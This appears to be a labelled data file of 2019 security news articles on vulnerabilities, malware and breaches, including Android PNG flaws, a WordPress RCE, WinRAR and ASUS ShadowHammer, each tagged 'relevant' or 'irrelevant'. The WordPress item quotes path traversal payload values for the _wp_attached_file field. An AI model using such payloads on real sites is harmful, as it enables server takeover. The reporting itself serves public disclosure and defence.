"Android Phones Can Get Hacked Just by Looking at a PNG Image Using an Android device? Beware! You have to remain more caution while opening an image file on your smartphone—downloaded anywhere from the Internet or received through messaging or email apps. Yes, just viewing an innocuous-looking image could hack your Android smartphone—thanks to three newly-discovered critical vulnerabilities that affect millions of devices running recent versions of Google's mobile operating system, ranging from Android 7.0 Nougat to its current Android 9.0 Pie. The vulnerabilities, identified as CVE-2019-1986, CVE-2019-1987, and CVE-2019-1988, have been patched in Android Open Source Project (AOSP) by Google as part of its February Android Security Updates. However, since not every handset manufacturer rolls out security patches every month, it's difficult to determine if your Android device will get these security patches anytime sooner. Although Google engineers have not yet revealed any technical details explaining the vulnerabilities, the updates mention fixing ""heap buffer overflow flaw,"" ""errors in SkPngCodec,"" and bugs in some components that render PNG images. According to the advisory, one of the three vulnerabilities, which Google considered to be the most severe one, could allow a maliciously crafted Portable Network Graphics (.PNG) image file to execute arbitrary code on the vulnerable Android devices. As Google says, ""the most severe of these issues is a critical security vulnerability in Framework that could allow a remote attacker using a specially crafted PNG file to execute arbitrary code within the context of a privileged process."" A remote attacker can exploit this vulnerability just by tricking users into opening a maliciously crafted PNG image file (which is impossible to spot with the naked eye) on their Android devices sent through a mobile message service or an email app. Including these three flaws, Google has patched a total of 42 security vulnerabilities in its mobile operating system, 11 of which are rated critical, 30 high and one moderate in severity. The technology giant stressed that it has no reports of active exploitation or in the wild abuse of any of the vulnerabilities listed in its February security bulletin. Google said it has notified its Android partners of all vulnerabilities a month before publication, adding that ""source code patches for these issues will be released to the Android Open Source Project (AOSP) repository in the next 48 hours.""",relevant
"Another Critical Flaw in Drupal Discovered — Update Your Site ASAP! Developers of Drupal—a popular open-source content management system software that powers millions of websites—have released the latest version of their software to patch a critical vulnerability that could allow remote attackers to hack your site. The update came two days after the Drupal security team released an advance security notification of the upcoming patches, giving websites administrators early heads-up to fix their websites before hackers abuse the loophole. The vulnerability in question is a critical remote code execution (RCE) flaw in Drupal Core that could ""lead to arbitrary PHP code execution in some cases,"" the Drupal security team said. While the Drupal team hasn't released any technical details of the vulnerability (CVE-2019-6340), it mentioned that the flaw resides due to the fact that some field types do not properly sanitize data from non-form sources and affects Drupal 7 and 8 Core. It should also be noted that your Drupal-based website is only affected if the RESTful Web Services (rest) module is enabled and allows PATCH or POST requests, or it has another web services module enabled. If you can't immediately install the latest update, then you can mitigate the vulnerability by simply disabling all web services modules, or configuring your web server(s) to not allow PUT/PATCH/POST requests to web services resources. ""Note that web services resources may be available on multiple paths depending on the configuration of your server(s),"" Drupal warns in its security advisory published Wednesday. ""For Drupal 7, resources are for example typically available via paths (clean URLs) and via arguments to the ""q"" query argument. For Drupal 8, paths may still function when prefixed with index.php/."" However, considering the popularity of Drupal exploits among hackers, you are highly recommended to install the latest update: If you are using Drupal 8.6.x, upgrade your website to Drupal 8.6.10. If you are using Drupal 8.5.x or earlier, upgrade your website to Drupal 8.5.11 Drupal also said that the Drupal 7 Services module itself does not require an update at this moment, but users should still consider applying other contributed updates associated with the latest advisory if ""Services"" is in use. Drupal has credited Samuel Mortenson of its security team to discover and report the vulnerability.",relevant
"Severe RCE Flaw Disclosed in Popular LibreOffice and OpenOffice Software It's 2019, and just opening an innocent looking office document file on your system can still allow hackers to compromise your computer. No, I'm not talking about yet another vulnerability in Microsoft Office, but in two other most popular alternatives—LibreOffice and Apache OpenOffice—free, open source office software used by millions of Windows, MacOS and Linux users. Security researcher Alex Inführ has discovered a severe remote code execution (RCE) vulnerability in these two open source office suites that could be triggered just by opening a maliciously-crafted ODT (OpenDocument Text) file. The attack relies on exploiting a directory traversal flaw, identified as CVE-2018-16858, to automatically execute a specific python library bundled within the software using a hidden onmouseover event. To exploit this vulnerability, Inführ created an ODT file with a white-colored hyperlink (so it can't be seen) that has an ""onmouseover"" event to trick victims into executing a locally available python file on their system when placing their mouse anywhere on the invisible hyperlink. According to the researcher, the python file, named ""pydoc.py,"" that comes included with the LibreOffice's own Python interpreter accepts arbitrary commands in one of its parameters and execute them through the system's command line or console. PoC Exploit and Video Demo Released Inführ provided a proof-of-concept (PoC) video demonstration showing how he was able to trick the event into calling a specific function within a Python file, which eventually executed the researcher's payload through Windows command line (cmd) without showing any warning dialog to the user. The researcher also released the PoC exploit code for the vulnerability and stressed that though he tested his exploit on Microsoft's Windows operating system, it should work on Linux, as well. Inführ reported the vulnerability to LibreOffice and Apache OpenOffice on October 18 last year. While LibreOffice fixed the issue by the end of that month with the release of LibreOffice 6.0.7/6.1.3, OpenOffice still appears to be vulnerable. In mid-November, RedHat assigned the path traversal vulnerability a CVE ID and told the researcher not to disclose the details or PoC of the bug until January 31, 2019. Inführ made the details and PoC exploit code of the vulnerability public on February 1, even when Apache OpenOffice 4.1.6 (latest version at the time of writing) remains unpatched. However, he says his exploit code does not work on OpenOffice. ""Openoffice does not allow to pass parameters; therefore, my PoC does not work but the path traversal can [still] be abused to execute a python script from another location on the local file system,"" Inführ explains. As a workaround until OpenOffice releases a security fix, users can remove or rename the pythonscript.py file in the installation folder to disable the support for python. So, merely ditching Microsoft Office for open-source office suites would not help much to protect yourself from such attacks, unless you adopt basic security practices.",relevant
"Latest iOS 12.1.4 Update Patches 2 Zero-Day and FaceTime Bugs Apple has finally released iOS 12.1.4 software update to patch the terrible Group FaceTime privacy bug that could have allowed an Apple user to call you via the FaceTime video chat service and hear or see you before you even pick up the call without your knowledge. The Facetime bug (CVE-2019-6223) was discovered by 14-year-old Grant Thompson of Catalina Foothills High School while he was trying to set up a Group FaceTime session with his friends. Thompson reported the bug to the company a week before it made headlines across the internet, forcing Apple to temporarily disable the group calling feature within FaceTime. In its advisory published Thursday, Apple described the bug as ""a logic issue existed in the handling of Group FaceTime calls,"" that also impacted the group FaceTime calling feature on Apple's macOS Mojave 10.14.2. Along with Thompson, Apple has also credited Daven Morris of Arlington, Texas, in its official advisory for reporting this bug. According to media reports, Apple has confirmed to ""compensate"" the family and help towards the teenager's future education costs as part of its Bug Bounty program, though it is unclear how much the company is going to pay. Two More In-The-Wild Zero-Day Flaws Discovered The iOS 12.1.4 update also patches three more security vulnerabilities, two of which were also reportedly being exploited in the wild, confirmed by Google Project Zero researchers, who discovered and reported these vulnerabilities to Apple. The last bug was also related to FaceTime. CVE-2019-7286: a memory corruption issue that could allow a malicious application to gain elevated privileges on the vulnerable Apple device. CVE-2019-7287: a memory corruption issue that could allow a malicious application to execute arbitrary code with kernel privileges. CVE-2019-7288: discovered by the Apple security team, this flaw is another FaceTime issue with Live Photos. If you haven't yet, you are highly recommended to update your Apple devices with iOS 12.1.4 release, which is available for the iPhone 5S, and later, iPad Air and later, and iPod touch 6th generation. To run the update on your iPhone, iPad or iPod, just go to Settings→ General → Software Update and click the 'Download and Install' button. If you are a Mac owner, you should also install the new macOS Mojave 10.14.3 update on your computer that also fixes three of the four vulnerabilities briefed above, including the FaceTime issues. To update your Mac computer, just go to Apple menu in the top left corner of your computer, select 'System Preferences,' click 'Software Update' and download the new update.",relevant
"New Mac Malware Targets Cookies to Steal From Cryptocurrency Wallets Mac users need to beware of a newly discovered piece of malware that steals their web browser cookies and credentials in an attempt to withdraw funds from their cryptocurrency exchange accounts. Dubbed CookieMiner due to its capability of stealing cookies-related to cryptocurrency exchanges, the malware has specifically been designed to target Mac users and is believed to be based on DarthMiner, another Mac malware that was detected in December last year. Uncovered by Palo Alto Networks' Unit 42 security research team, CookieMiner also covertly installs coin mining software onto the infected Mac machines to secretly mine for additional cryptocurrency by consuming the targeted Mac's system resources. In the case of CookieMiner, the software is apparently geared toward mining ""Koto,"" a lesser-known, privacy-oriented cryptocurrency which is mostly used in Japan. However, the most interesting capabilities of the new Mac malware is to steal: Both Google Chrome and Apple Safari browser cookies associated with popular cryptocurrency exchanges and wallet service websites. Usernames, passwords and credit card information saved in the Chrome web browser. Cryptocurrency wallet data and keys. iPhone's text messages of victims stored in iTunes backups. When talking about the targeted cryptocurrency exchanges and wallet services, CookieMiner was found targeting Binance, Coinbase, Poloniex, Bittrex, Bitstamp, MyEtherWallet, and any website having ""blockchain"" in its domain and using cookies to track their users temporarily. cryptocurrency mining malware mac By leveraging the combination of stolen login credentials, web cookies, and SMS data, it would be possible for an attacker to even bypass two-factor authentication for exchange sites and steal cryptocurrencies from the victim's accounts and wallets. ""If only the username and password are stolen and used by a bad actor, the website may issue an alert or request additional authentication for a new login,"" the researchers explained in their blog post published Thursday. ""However, if an authentication cookie is also provided along with the username and password, the website might believe the session is associated with a previously authenticated system host and not issue an alert or request additional authentication methods."" It should be noted that researchers have not yet found any evidence of the attackers successfully withdrawing funds from any user's wallet or account, but are speculating based on the malware's behavior. What's more? CookieMiner also uses the EmPyre backdoor for post-exploitation control, allowing attackers to send commands to the infected Mac computers for remote control. EmPyre is a Python post-exploitation agent that checks if the Little Snitch application firewall is running on the victim's machine and if it finds one, it will stop and exit. The agent can also be configured to download additional files. Although it is unclear how the CookieMiner malware is pushed to the victims at the first place, it is believed that the users are tricked into downloading tainted software onto their machines which delivers the malware. Palo Alto Networks has already contacted targeted cryptocurrency exchanges and wallet services, along with Apple and Google, and reported the issue. Since the researchers believe that the CookieMiner campaign is still active, the best way to prevent falling victim to such malware attacks is to avoid saving your credentials or credit card information within your web browsers and, not to mention, avoid downloading apps from third-party platforms. You should also consider clearing your cookies when visiting the banking or financial accounts, and ""keep an eye on their security settings and digital assets to prevent compromise and leakage,"" researchers advised.",relevant
"Flaws in Popular RDP Clients Allow Malicious Servers to Reverse Hack PCs You've always been warned not to share remote access to your computer with any untrusted people for many reasons—it's basic cyber security advice, and common sense, right? But what if I say, you should not even trust anyone who invites or offers you full remote access to their computers? Security researchers at cybersecurity firm Check Point have discovered more than two dozen vulnerabilities in both open-source RDP clients and Microsoft's own proprietary client that could allow a malicious RDP server to compromise a client computer, reversely. RDP, or Remote Desktop Protocol, allows users to connect to remote computers. The protocol is usually used by technical users and IT administrators to remotely connect to other devices on the network. RDP was initially developed by Microsoft for its Windows operating system, but there are several open source clients for the RDP protocol that can be used on Linux as well as Unix systems. Check Point researchers recently conducted a detailed analysis of three popular and most commonly used RDP clients—FreeRDP, rdesktop, and Windows built-in RDP client—and identified a total of 25 security flaws, some of which could even allow a malicious RDP server to remotely take control of computers running the client RDP software. FreeRDP, the most popular and mature open-source RDP client on Github, has been found vulnerable to six vulnerabilities, five of which are major memory corruption issues that could even result in remote code execution on the client's computer. rdesktop, an older open-source RDP client that comes by default in Kali Linux distributions, has been found to be the most vulnerable RDP client with a total of 19 vulnerabilities, 11 of which could allow a malicious RDP server to execute arbitrary code on the client's computer. Though Windows built-in RDP client does not contain any remote code execution flaw, researchers discovered some interesting attack scenarios that are possible because the client and the server share the clipboard data, allowing the client to access and modify clipboard data on the server end and vice-versa. ""A malicious RDP server can eavesdrop on the client's clipboard—this is a feature, not a bug. For example, the client locally copies an admin password, and now the server has it too,"" researchers say while explaining the first attack scenario. ""A malicious RDP server can modify any clipboard content used by the client, even if the client does not issue a 'copy' operation inside the RDP window. If you click 'paste' when an RDP connection is open, you are vulnerable to this kind of attack,"" reads the second attack scenario. What's more? In another video, researchers demonstrated how the clipboard attack using Microsoft's RDP software could even allow malicious RDP server to trick client system into saving a malware file in Windows' startup folder, which will automatically get executed every time the system boots. Researchers reported the vulnerabilities to the developers of the impacted RDP clients in October 2018. FreeRDP patched the flaws as part of its v2.0.0-rc4 release and rolled out the software release to its GitHub repository less than a month after being notified. Rdesktop patched the issues as part of its v1.8.4 release and rolled out the fix in mid-January. Microsoft acknowledged the researchers' findings but decided not to address the issues. The tech giant said: ""We determined your finding is valid but does not meet our bar for servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria)."" However, Windows RDP client users can protect themselves against the attacks demonstrated by the researchers by merely disabling the clipboard-sharing feature, which comes enabled by default, when connecting to a remote machine.",relevant
"First Hacker Convicted of 'SIM Swapping' Attack Gets 10 Years in Prison A 20-year-old college student who stole cryptocurrency worth more than $5 million by hijacking victims' phone numbers has pleaded guilty and accepted a sentence of 10 years in prison. Ortiz was arrested last year on charges of siphoning millions of dollars in cryptocurrency from around 40 victims using a method commonly known as ""SIM swapping,"" which typically involves fraudulently porting of the same number to a new SIM card belonging to the attacker. In SIM swapping, attackers social engineer a victim's mobile phone provider by making a phony call posing as their target and claiming that their SIM card has been lost and that they would like to request a SIM swap. The attackers attempt to convince the target's telecommunications company that they are the actual owner of the phone number they want to swap by providing required personal information on the target, like their SSNs and addresses, eventually tricking the telecoms to port the target's phone number over to a SIM card belonging to the attackers. Once successful, the attackers essentially gained access to their target's mobile phone number using which they can obtain one-time passwords, verification codes, and two-factor authentication in order to reset passwords for and gain access to target's social media, email, bank, and cryptocurrency accounts. SIM swapping has grown increasingly popular among cybercriminals over the past year and Joel Ortiz, a California man, is the first person to receive jail time for this crime, after pleading guilty to stealing more than $5 million in cryptocurrency from 40 victims, according to Motherboard. Rather than facing trials and severe consequences imposed by the jury, Ortiz chose to accept a plea deal for 10 years last week, according to Deputy District Director Eric West of Santa Clara County, California. However, the official sentencing of Ortiz is set to take place on March 14th. There are more pending cases in court wherein defendants stole millions of dollars worth of cryptocurrency using SIM swapping. One of the defendants named Dawson Bakies, accused of stealing the identities of and funds from more than 50 victims in the United States through SIM swapping has been indicted by Manhattan's District Attorney (DA). The 20-year-old Ohio man has been arrested and charged with identity theft, grand larceny, computer tampering and scheme to defraud, among other charges. Over the past year, federal authorities around the world have begun a crackdown on cryptocurrency related crime. A year ago, feds arrested a group of nuclear engineers in Russia after they were caught using supercomputers to mine Bitcoin.",irrelevant
"Snapd Flaw Lets Attackers Gain Root Access On Linux Systems Ubuntu and some other Linux distributions suffer from a severe privilege escalation vulnerability that could allow a local attacker or a malicious program to obtain root privileges and total control over the targeted system. Dubbed ""Dirty_Sock"" and identified as CVE-2019-7304, the vulnerability was discovered by security researcher Chris Moberly, who privately disclosed it to Canonical, the maker of Ubuntu, late last month. The vulnerability resides in the REST API for snapd service, a universal Linux packaging system that makes an application compatible for various Linux distributions without requiring any modification. Built by Canonical, snapd comes by default installed on all versions of Ubuntu and also used by other Linux distributions, including Debian, OpenSUSE, Arch Linux, Solus, and Fedora. Snap packages are basically applications compressed together with their dependencies that also includes instructions on how to run and interact with other software on various Linux systems for desktop, cloud, and Internet of Things. Snap locally host a web server (UNIX_AF socket) to offer a list of RESTful APIs that help the service perform various actions on the operating system. These REST APIs come with access control to define user-level permission for specific tasks. Some powerful APIs are only available to root users while others can be accessed by low-privileged users. According to Moberly, a flaw in the way the access control mechanism checks the UID associated with any request made to a server allows attackers to overwrite the UID variable and access any API function, including those that are restricted for the root user. ""Snapd versions 2.28 through 2.37 incorrectly validated and parsed the remote socket address when performing access controls on its UNIX socket,"" Ubuntu explains in its advisory. ""A local attacker could use this to access privileged socket APIs and obtain administrator privileges."" However, it should be noted that since the Dirty Sock exploit leverages local privilege escalation flaw, it does not allow hackers to compromise a vulnerable Linux system remotely. Moberly has also released two proofs-of-concept (PoC) exploits on GitHub today, one of which requires an SSH connection while the other is able to sideload a malicious snap by abusing this API. Canonical has released snapd version Snapd 2.37.1 this week to address the vulnerability, and Ubuntu and other major Linux distributions have already rolled out a fixed version of their packages. Linux users are highly recommended to upgrade their vulnerable installations as soon as possible.",relevant
"New Flaws Re-Enable DMA Attacks On Wide Range of Modern Computers Security researchers have discovered a new class of security vulnerabilities that impacts all major operating systems, including Microsoft Windows, Apple macOS, Linux, and FreeBSD, allowing attackers to bypass protection mechanisms introduced to defend against DMA attacks. Known for years, Direct memory access (DMA)-based attacks let an attacker compromise a targeted computer in a matter of seconds by plugging-in a malicious hot plug device—such as an external network card, mouse, keyboard, printer, storage, and graphics card—into Thunderbolt 3 port or the latest USB-C port. The DMA-based attacks are possible because Thunderbolt port allows connected peripherals to bypass operating system security policies and directly read/write system memory that contains sensitive information including your passwords, banking logins, private files, and browser activity. That means, simply plugging in an infected device, created using tools like Interception, can manipulate the contents of the memory and execute arbitrary code with much higher privileges than regular universal serial bus peripherals, allowing attackers to bypass the lock screen or control PCs remotely. To block DMA-based attacks, most operating systems and devices leverage Input/Output Memory Management Unit (IOMMU) protection technique to control which peripheral device (usually legitimate) can access memory and which region of the memory. ThunderClap Flaws Bypass IOMMU to Re-Enable DMA Attacks Now, a team of cybersecurity researchers from the University of Cambridge, Rice University, and SRI International has unveiled a set of new vulnerabilities in various major operating systems that could allow attackers to bypass IOMMU protection. By mimicking the functionality of a legitimate peripheral device, an attacker can trick targeted operating systems into granting it access to sensitive regions of memory. In a paper [PDF] published earlier this week, researchers detailed technical information of all new vulnerabilities that they claimed to have discovered using a hardware/software stack, called Thunderclap, which they build and also released in the open-source. thunderbolt dma attack thunderbolt dma attack ""Our work leverages vulnerabilities in operating system IOMMU usage to compromise a target system via DMA, even in the presence of an IOMMU that is enabled and configured to defend against DMA attacks,"" the researchers said. Besides this, the researchers also stressed that since IOMMU does not come enabled by default on most operating systems and since modern devices have USB-C, the attack surface of DMA attack has significantly increased which was earlier primarily limited to Apple devices with Thunderbolt 3 ports. thunderbolt dma attack ""The rise of hardware interconnects like Thunderbolt 3 over USB-C that combine power input, video output, and peripheral device DMA over the same port greatly increases the real-world applicability of Thunderclap vulnerabilities."" ""In particular, all Apple laptops and desktops produced since 2011 are vulnerable, with the exception of the 12-inch MacBook. Many laptops, and some desktops, designed to run Windows or Linux produced since 2016 are also affected - check whether your laptop supports Thunderbolt."" How to Protect Against Thunderclap Vulnerabilities Researchers have reported their findings to all major hardware and operating system vendors, and most of them have already shipped substantial mitigation to address the Thunderclap vulnerabilities. ""In macOS 10.12.4 and later, Apple addressed the specific network card vulnerability we used to achieve a root shell,"" researchers said. ""Recently, Intel has contributed patches to version 5.0 of the Linux kernel."" ""The FreeBSD Project indicated that malicious peripheral devices are not currently within their threat model for security response."" Though not all software patches can entirely block DMA attacks, users are still advised to install available security updates to reduce the attack surface. According to the researchers, the best way to fully protect yourself is to disable the Thunderbolt ports on your machine, if applicable. thunderbolt dma attack Additionally, researchers also developed a proof-of-concept attacking hardware that can execute the ThunderClap vulnerabilities on targeted systems, but they chose not to release it in public at this time.",relevant
"Hackers Destroyed VFEmail Service – Deleted Its Entire Data and Backups What could be more frightening than a service informing you that all your data is gone—every file and every backup servers are entirely wiped out? The worst nightmare of its kind. Right? But that's precisely what just happened this week with VFEmail.net, a US-based secure email provider that lost all data and backup files for its users after unknown hackers destroyed its entire U.S. infrastructure, wiping out almost two decades' worth of data and backups in a matter of few hours for no apparent reason. Started in 2001 by Rick Romero, VFEmail provides secure, private email services to companies and end users, both free and paid-for. Describing the attack as ""catastrophic,"" the privacy-focused email service provider revealed that the attack took place on February 11 and that ""all data"" on their US servers—both the primary and the backup systems—has been completely wiped out, and it's seemingly beyond recovery. ""Yes, @VFEmail is effectively gone,"" Romero wrote on Twitter Tuesday morning. ""It will likely not return. I never thought anyone would care about my labor of love so much that they'd want to completely and thoroughly destroy it."" The VFEmail team detected the attack on February 11 itself after it noticed all the servers for his service went offline without any notice. vfemail hack After two hours, the company reported that the attackers had been caught ""in the middle of formatting its backup server,"" saying that it ""fear all US-based data may be lost."" However, shortly after that VFEmail confirmed that ""all the disks on every server"" had been wiped out, virtually erasing the company's entire infrastructure, including mail hosts, virtual machine hosts, and a SQL server cluster, within just a few hours. ""Strangely, not all VMs shared the same authentication, but all were destroyed,"" VFEmail explained. ""This was more than a multi-password via ssh exploit, and there was no ransom. Just attack and destroy,""—a rare example of a purely destructive attack. Although it is yet unclear who was behind this destructive attack and how the hack was pulled off, a statement posted to the company's website pointed to an IP address 94[.]155[.]49[.]9 and the username ""aktv,"" which appears to be registered in Bulgaria. Romero believes the hacker behind the above-mentioned IP address most likely used a virtual machine and multiple means of access onto the VFEmail infrastructure to carry out the attack, and as a result, no method of protection, such as 2-factor authentication, would have protected VFEmail from the intrusion. The official website has now been restored and running, but all secondary domains still remain unavailable. If you are an existing user, expect to find your inboxes empty. This isn't the first time the company has been attacked. In 2015, a group of hackers known as the ""Armada Collective,"" who also targeted Protonmail, Hushmail, and Runbox, launched a DDoS attack against VFEmail after it refused to pay a ransom.",irrelevant
"Hacker who reported flaw in Hungarian Telekom faces up to 8-years in prison Many of you might have this question in your mind: ""Is it illegal to test a website for vulnerability without permission from the owner?"" Or… ""Is it illegal to disclose a vulnerability publicly?"" Well, the answer is YES, it's illegal most of the times and doing so could backfire even when you have good intentions. Last year, Hungarian police arrested a 20-year-old ethical hacker accused of finding and exploiting serious vulnerabilities in Magyar Telekom, the largest Hungarian telecommunication company, who is now facing up to 8 years in prison. According to local Hungarian media, the defender first discovered a severe vulnerability in Magyar Telekom systems in April 2018 and reported it to the company officials, who later invited him to a meeting. Reportedly, the hacker then traveled to Budapest for the meeting, which didn't go well as he expected, and apparently, the company did not permit him to test its systems further. However, the man continued probing Magyar Telekom networks and discovered another severe vulnerability at the beginning of May that could have allowed an attacker to access all public and retail mobile and data traffic, and monitor company's servers. When Magyar Telekom detected an ""uninvited"" intrusion on their internal network, the company on same day reported the incident to the police, leading to his arrest. The hacker is currently on trial. The Hungarian Prosecution Service is requesting a prison sentence, while the Hungarian Civil Liberties Union, a non-profit human rights watchdog, is defending the hacker, claiming that the indictment is inaccurate, incomplete and in false colors. However, the Prosecutor's Office said ""anyone who reads the prosecutor's document can make sure that the indictment contains all information,"" arguing that the defendant crossed a line and due to the danger his actions may have posed to society, he must face legal consequences. The Prosecutor's Office also offered the man a plea bargain, which said if he admitted his guilt, he would be given a 2-year suspended sentence, and if not, he would have to serve five years in jail. After he refused the plea deal, the hacker has now been charged with an upgraded crime in the indictment, i.e., disrupting the operation of a ""public utility,"" which could soon end him up behind bars for up to 8 years, if proven guilty.",irrelevant
"Warning: Critical WinRAR Flaw Affects All Versions Released In Last 19 Years Beware Windows users... a new dangerous remote code execution vulnerability has been discovered in the WinRAR software, affecting hundreds of millions of users worldwide. Cybersecurity researchers at Check Point have disclosed technical details of a critical vulnerability in WinRAR—a popular Windows file compression application with 500 million users worldwide—that affects all versions of the software released in last 19 years. The flaw resides in the way an old third-party library, called UNACEV2.DLL, used by the software handled the extraction of files compressed in ACE data compression archive file format. However, since WinRAR detects the format by the content of the file and not by the extension, attackers can merely change the .ace extension to .rar extension to make it look normal. According to researchers, they found an ""Absolute Path Traversal"" bug in the library that could be leveraged to execute arbitrary code on a targeted system attempting to uncompress a maliciously-crafted file archive using the vulnerable versions of the software. The path traversal flaw allows attackers to extract compressed files to a folder of their choice rather than the folder chosen by the user, leaving an opportunity to drop malicious code into Windows Startup folder where it would automatically run on the next reboot. As shown in the video demonstration shared by researchers, to take full control over the targeted computers, all an attacker needs to do is convincing users into just opening maliciously crafted compressed archive file using WinRAR. Since the WinRAR team had lost source code of the UNACEV2.dll library in 2005, it decided to drop UNACEV2.dll from their package to fix the issue and released WINRar version 5.70 beta 1 that doesn't support the ACE format. Windows users are advised to install the latest version of WinRAR as soon as possible and avoid opening files received from unknown sources.",relevant
"Critical Flaw Uncovered In WordPress That Remained Unpatched for 6 Years Exclusive — If you have not updated your website to the latest WordPress version 5.0.3, it's a brilliant idea to upgrade the content management software of your site now. From now, I mean immediately. Cybersecurity researchers at RIPS Technologies GmbH today shared their latest research with The Hacker News, revealing the existence of a critical remote code execution vulnerability that affects all previous versions of WordPress content management software released in the past 6 years. The remote code execution attack, discovered and reported to the WordPress security team late last year, can be exploited by a low privileged attacker with at least an ""author"" account using a combination of two separate vulnerabilities—Path Traversal and Local File Inclusion—that reside in the WordPress core. The requirement of at least an author account reduces the severity of this vulnerability to some extent, which could be exploited by a rogue content contributor or an attacker who somehow manages to gain author's credential using phishing, password reuse or other attacks. ""An attacker who gains access to an account with at least author privileges on a target WordPress site can execute arbitrary PHP code on the underlying server, leading to a full remote takeover,"" Scannell says. Video Demonstration — Here's How the Attack Works According to Simon Scannell, a researcher at RIPS Technologies GmbH, the attack takes advantage of the way WordPress image management system handles Post Meta entries used to store description, size, creator, and other meta information of uploaded images. Scannell found that a rogue or compromised author account can modify any entries associated with an image and set them to arbitrary values, leading to the Path Traversal vulnerability. ""The idea is to set _wp_attached_file to evil.jpg?shell.php, which would lead to an HTTP request being made to the following URL: https://targetserver.com/wp-content/uploads/evil.jpg?shell.php,"" Scannell explains. And, ""it is still possible to plant the resulting image into any directory by using a payload such as evil.jpg?/../../evil.jpg."" The Path Traversal flaw in combination with a local file inclusion flaw in theme directory could then allow the attacker to execute arbitrary code on the targeted server. The attack, as shown in the proof-of-concept video shared by the researcher, can be executed within seconds to gain complete control over a vulnerable WordPress blog. According to Scannell, the code execution attack became non-exploitable in WordPress versions 5.0.1 and 4.9.9 after patch for another vulnerability was introduced which prevented unauthorized users from setting arbitrary Post Meta entries. However, the Path Traversal flaw is still unpatched even in the latest WordPress version and can be exploited if any installed 3rd-party plugin incorrectly handles Post Meta entries. Scannell confirmed that the next release of WordPress would include a fix to completely address the issue demonstrated by the researcher.",relevant
"Critical Zcash Bug Could Have Allowed 'Infinite Counterfeit' Cryptocurrency The developers behind the privacy-minded Zcash cryptocurrency have recently discovered and patched a highly dangerous vulnerability in the most secretive way that could have allowed an attacker to coin an infinite number of Zcash (ZEC). Yes, infinite… like a never-ending source of money. Launched in October 2016, Zcash is a privacy-oriented cryptocurrency that claims to be more anonymous than Bitcoin, as the sender, recipient, and value of transactions remain hidden. In a blog post published today, the Zerocoin Electric Coin Company—the startup behind Zcash—revealed that one of its employees, Ariel Gabizon, discovered the vulnerability in its code on 1st March 2018, the night prior to his talk at the Financial Cryptography conference almost a year ago. Gabizon contacted Sean Bowe, a Zcash Company's cryptographer, immediately after discovering the counterfeiting vulnerability, as dubbed by the team, and the team decided to keep the flaw secret in order to avoid the risk of attackers exploiting it. According to the company, only four Zcash employees were aware of the issue before a fix was covertly included in the Zcash network on 28th October 2018. Besides this, since ""discovering this vulnerability would have required a high level of technical and cryptographic sophistication that very few people possess,"" the company believes that no one else was aware of this flaw and that no counterfeiting occurred in Zcash. Now, the Zcash team detailed all about the vulnerability on its official site to inform the broader public, which if exploited, would have allowed an attacker to print an infinite amount of Zcash tokens. Details of the Catastrophic Zcash Vulnerability According to the team, the counterfeiting vulnerability resided in the variant of zk-SNARKs—an implementation of zero-knowledge cryptography Zcash uses to encrypt and shield the transactions—which has independently been implemented by other projects. Both Komodo blockchains and Horizen (previously known as ZenCash) suffered from the same issue and reportedly fixed it on their platforms after being notified by the Zcash team back in mid-November 2018 via an encrypted email. The vulnerability was the result of a ""parameter setup algorithm"" that allowed ""a cheating prover to circumvent a consistency check"" and thereby transformed ""the proof of one statement into a valid-looking proof of a different statement."" Anyone with access to the multi-party computation (MPC) ceremony transcript, which is used to set up the privacy features for Zcash, would have been able to create false proofs, granting them the ability to create an unlimited amount of shielded coins. Though the developers found no evidence of counterfeiting occurred in Zcash, they confirmed that the vulnerability had existed for years. ""The vulnerability had existed for years but was undiscovered by numerous expert cryptographers, scientists, third-party auditors, and third-party engineering teams who initiated new projects based upon the Zcash code,"" the company writes. Since Zcash is private, even if someone could have counterfeited Zcash in the past, there's no way to find out. However, the Zcash Company argued that it ""studied the blockchain for evidence of exploitation: An attack might leave a specific kind of footprint. We found no such footprint."" Fixes for this vulnerability were implemented in the Zcash Sapling network upgrade in October 2018, and some, including former NSA whistleblower Edward Snowden, have applauded the team's handling of the flaw.",irrelevant
"Warning: ASUS Software Update Server Hacked to Distribute Malware Remember the CCleaner hack? CCleaner hack was one of the largest supply chain attacks that infected more than 2.3 million users with a backdoored version of the software in September 2017. Security researchers today revealed another massive supply chain attack that compromised over 1 million computers manufactured by Taiwan-based tech giant ASUS. A group of state-sponsored hackers last year managed to hijack ASUS Live automatic software update server between June and November 2018 and pushed malicious updates to install backdoors on over one million Windows computers worldwide. According to cybersecurity researchers from Russian firm Kaspersky Lab, who discovered the attack and dubbed it Operation ShadowHammer, Asus was informed about the ongoing supply chain attack on Jan 31, 2019. asus computer hacking After analyzing over 200 samples of the malicious updates, researchers learned that hackers did not want to target all users, instead only a specific list of users identified by their unique MAC addresses, which were hardcoded into the malware. ""We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack. Of course, there might be other samples out there with different MAC addresses in their list,"" researchers say. Like the CCleaner and ShadowPad hacks, the malicious file was signed with legitimate ASUS digital certificates in order to make it look an official software update from the company and to remain undetected for a long time. Researchers didn't attribute the attack to any APT group at this moment, but certain evidence linked the latest attack to the ShadowPad incident from 2017, which Microsoft attributed to the BARIUM APT actors behind the Winnti backdoor. ""Recently, our colleagues from ESET wrote about another supply chain attack in which BARIUM was also involved, that we believe is connected to this case as well,"" researchers say. According to Kaspersky, the backdoored version of ASUS Live Update was downloaded and installed by at least 57,000 Kaspersky users. ""We [researchers] are not able to calculate the total count of affected users based only on our data; however, we estimate that the real scale of the problem is much bigger and is possibly affecting over a million users worldwide,"" Kaspersky says. Symantec told Vice that the company identified the malware on more than 13,000 machines running its antivirus software. Most of the victims Kaspersky detected are from Russia, Germany, France, Italy, and the United States, though the malware infected users from around the world. Kaspersky has notified ASUS and other antivirus companies of the attack while the investigation into the matter is still ongoing. The antivirus firm has also released an automated tool for users to check whether they had specifically been targeted by the ShadowHammer advanced persistent threat.",relevant
